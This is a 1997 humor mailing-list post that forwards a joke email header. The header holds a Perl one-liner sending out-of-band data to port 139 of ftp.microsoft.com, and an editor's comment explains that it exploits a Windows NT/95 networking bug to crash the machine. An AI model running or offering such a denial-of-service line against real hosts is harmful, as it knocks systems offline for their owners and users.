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X-header of the day - 

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From: Peter Langston <psl>
Date: Fri, 30 May 97 00:57:24 -0700
To: Fun_People
Subject: X-header of the day - 

Forwarded-by: Robin Stephenson <r.stephenson@elsevier.co.uk>


  X-Microsoft: Just say perl -MIO::Socket -e 'IO::Socket::INET
      ->new(PeerAddr=>"ftp.microsoft.com:139",Proto=>'tcp')
      ->send("Die sucker", MSG_OOB)'

--
[This joke is very funny if you get it.  Trust me.

 For the non-perl, non-microsoft-networking-bug-literate among us,
 this is a perl one-liner that exploits a bug in the Windows (NT or
 95) networking code.  If ftp.microsoft.com is running NT this would
 crash it (a syndrome described in the bug report as ``the blue window
 of death'').

 Until the middle of last year, ftp.microsoft.com was running UNIX,
 which was faster, if somewhat embarassing for Microsoft.

 ---pozzo]
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